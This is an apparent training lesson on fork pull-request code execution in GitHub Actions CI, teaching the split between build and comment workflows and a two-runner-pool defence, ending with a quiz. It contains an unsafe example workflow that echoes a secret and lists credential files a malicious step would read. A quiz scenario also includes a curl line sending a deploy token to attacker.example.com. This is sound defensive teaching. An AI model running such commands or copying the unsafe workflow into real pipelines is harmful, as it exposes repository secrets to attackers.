Skip to main content
RunBook Academy

Git, CI/CD & GitOpsXLI · Runner SecurityCodeExecution

Arbitrary code execution — every CI run executes attacker-controlled code if the trigger is a PR from outside

Advanced⏱ ~24 mingit

What you'll learn

  • Explain why pull_request from a fork executes contributor code as the workflow author
  • Distinguish pull_request from pull_request_target and identify the trigger that exposes secrets
  • Map the filesystem, environment, and network capabilities of a malicious workflow step
  • Apply the fork-PR separation pattern that isolates untrusted code from secrets

Prerequisites

Verified against Git 2.55.x teaching target; 2.40+ minimum · GitHub Actions continuous service; Aug 2026 documentation baseline · Argo CD v3.5.x teaching target; v3.0+ minimum · Flux v2.9.x · Sigstore Cosign v3.1.x · SLSA v1.2 · OCI Distribution Specification v1.1 · Git LFS v3.7.1 · Kubernetes (cross-course target) 1.36.x

Not yet marked complete on this device.

A CI run executes a script. The script is read from the workflow file. The bytes the script operates on are read from the commit that triggered the run. When the trigger is a pull_request from a fork, the commit is the contributor’s. The workflow file is the target repo’s, but every step that touches the contributor’s bytes — every run: | block, every npm test — is bash against attacker-controlled input. The fork PR is a code execution vector, and the runner is the target.

The trigger is the trust level

The trigger decides who controls the bytes the workflow executes:

flowchart TB
    subgraph T1["pull_request\n(from a fork)"]
        A1["Contributor commit"] --> W1["Workflow in target context\nread-only $GITHUB_TOKEN\nNO secrets"]
    end
    subgraph T2["pull_request_target\n(from a fork)"]
        A2["Contributor commit"] --> W2["Workflow in target context\nWRITE $GITHUB_TOKEN\nsecrets EXPOSED"]
    end
  • pull_request (from a fork). The workflow runs in the target repo’s context, but $GITHUB_TOKEN is read-only, secrets are not exposed, and manual approval is required for first-time contributors. The safe trigger for fork-PR builds.
  • pull_request_target (from a fork). The workflow runs in the target repo’s context AND exposes secrets AND gives the workflow a write $GITHUB_TOKEN. The default actions/checkout@v4 checks out the contributor’s commit, not the target’s. The combination — fork commit checked out, secrets in the environment, write token — is the textbook fork-PR execution primitive.

The trap is that pull_request_target is needed for workflows that comment on the PR, label it, or assign reviewers. The safe pattern is to split the workflow: use pull_request for the build, and pull_request_target only for the comment step that does not checkout the contributor’s commit.

What the malicious step can do

Once a fork PR runs on a runner with the workflow author’s environment, the contributor’s run: block can:

flowchart LR
    FS["Filesystem"] --> R["Runner host"]
    ENV["Environment"] --> R
    NET["Network"] --> R
    R --> P["Exfiltration\nhost pivot\npersistence"]
  • Filesystem. Read every file the runner process can read: ~/.aws/credentials, ~/.kube/config, the runner’s .runner token file, cached build artifacts. Write to every file the runner process can write.
  • Environment. Read every environment variable in the job. On self-hosted runners with secrets in ~/.bashrc, the step reads them too.
  • Network. Open any outbound connection the host’s network allows. Unrestricted egress is the exfiltration channel; restricted egress is the containment.

A fork PR step with these capabilities is an interactive shell on the runner host with the workflow author’s identity. The next four lessons cover the controls that limit each capability.

The structural separation

The control that defends against arbitrary code execution is not in the workflow file; it is in the runner architecture. The pattern is two pools:

flowchart TB
    subgraph POOL_A["Pool A: untrusted builds"]
        A1["Triggers: pull_request from fork"]
        A2["Secrets: NONE"]
        A3["Egress: forge + registry"]
        A4["Ephemeral: yes"]
    end
    subgraph POOL_B["Pool B: trusted builds"]
        B1["Triggers: push to protected branch"]
        B2["Secrets: full set"]
        B3["Egress: full set"]
        B4["Ephemeral: yes"]
    end
    POOL_A -. "no shared state" .-> POOL_B
  • Pool A (untrusted builds). Runs only on pull_request from forks. No secrets. Egress restricted to the forge and package registry. Ephemeral, rebuilt per job.
  • Pool B (trusted builds). Runs only on push to protected branches or on pull_request from internal branches. Full secrets, full network. Ephemeral.

The two pools share no runners, no credentials, no network identities. A compromise of Pool A is a compromise of an empty host; a compromise of Pool B is a compromise of the team’s secrets. There is no path from one to the other.

fork-pr build versus comment-and-label

A common need is to run tests on a fork PR AND post a comment. The unsafe pattern is one workflow with pull_request_target that checks out the contributor’s commit and runs tests:

# UNSAFE — do not copy
on:
  pull_request_target:
jobs:
  test:
    runs-on: self-hosted
    steps:
      - uses: actions/checkout@v4
        with:
          ref: "${ github.event.pull_request.head.sha }"
      - run: npm test
      - run: echo "$AWS_SECRET_ACCESS_KEY"

The ref: ${ github.event.pull_request.head.sha } checks out the contributor’s commit; npm test runs contributor- controlled code; the echo prints a secret. The result is full code execution with the target repo’s secrets in the environment.

The safe pattern is two workflows:

# Workflow 1: build on pull_request (no secrets)
on:
  pull_request:
jobs:
  test:
    runs-on: [self-hosted, untrusted]
    steps:
      - uses: actions/checkout@v4
        with:
          ref: "${ github.event.pull_request.head.sha }"
      - run: npm test
# Workflow 2: comment on pull_request_target (no checkout)
on:
  pull_request_target:
jobs:
  comment:
    runs-on: [self-hosted, trusted]
    steps:
      - uses: actions/github-script@v6
        with:
          script: |
            github.rest.issues.createComment({...})

The build workflow runs on the untrusted pool with no secrets; the comment workflow runs on the trusted pool with no checkout. The contributor’s code runs in the build workflow; the contributor’s code does not run in the comment workflow.

Jenkins and GitLab analogues

GitLab CI treats fork MR pipelines differently: fork MRs run with a restricted set of CI/CD variables, in the fork’s namespace context. Variables that grant production access belong to the internal CI context, not the fork CI context.

Jenkins has no native fork concept; multi-branch pipelines that build PRs run the Jenkinsfile in the PR branch. The defence is the same: PR builds on agents with no production credentials; merge builds on agents with credentials.

Production discipline

  1. Use pull_request for fork-PR builds; never pull_request_target for builds that checkout the PR head. pull_request_target is for trusted-only operations (comment, label, assign) that do not execute contributor code.
  2. Two pools, two secrets, two networks. The untrusted pool has no production credentials and egress-restricted networking. The trusted pool has the production credentials and full networking. The pools share nothing.
  3. Treat the runner’s environment as an attacker-readable resource. Scope secrets per job and prefer short-lived OIDC over long-lived keys.
  4. Audit for pull_request_target + actions/checkout of the PR head. The combination is the canonical fork-PR attack primitive.

Cross-course references

  • Git, CI/CD & GitOps — Part XXXVII-03 (The runner and its environment) covers the trust boundary the runner represents.
  • Git, CI/CD & GitOps — Part XXXVIII-02 (Control plane isolation) covers the secrets plane the runner reads from.
  • Git, CI/CD & GitOps — Part XL-03 (Ephemeral runners) covers the runner class that makes the two-pool pattern tractable.
  • Docker for Production Sysadmins — Part XXXV-04 (Docker socket security) covers the file the malicious step reaches for first.

Quiz

Knowledge check · 4 questions

  1. Q1. A workflow uses `on: pull_request_target` and the first step is `actions/checkout@v4` with `ref: ${ github.event.pull_request.head.sha }`. What is the security problem?

  2. Q2. GitHub Actions secret masking in build logs is a security control that prevents a malicious fork-PR step from exfiltrating secrets.

  3. Q3. Explain the difference between `pull_request` and `pull_request_target` triggers in GitHub Actions, and state which one is appropriate for each operation: (a) running tests on a fork PR, (b) commenting on a fork PR.

  4. Q4. Diagnose the fork-PR execution primitive in a workflow file and recommend the two-workflow pattern that closes the gap.

    Team T's repository has a single workflow with on: pull_request_target. The first job runs-on: ubuntu-latest and does actions/checkout@v4 with ref: ${ github.event.pull_request.head.sha }, then runs `make ci`, which executes the contributor's Makefile. The job has access to a DEPLOY_TOKEN secret. An external contributor opens a fork PR with a Makefile target named `ci` that does `curl -d "$DEPLOY_TOKEN" https://attacker.example.com/`. The team wants both the test run and the comment-on-PR behaviour.

Passing score: 75%. Answers are checked in this browser.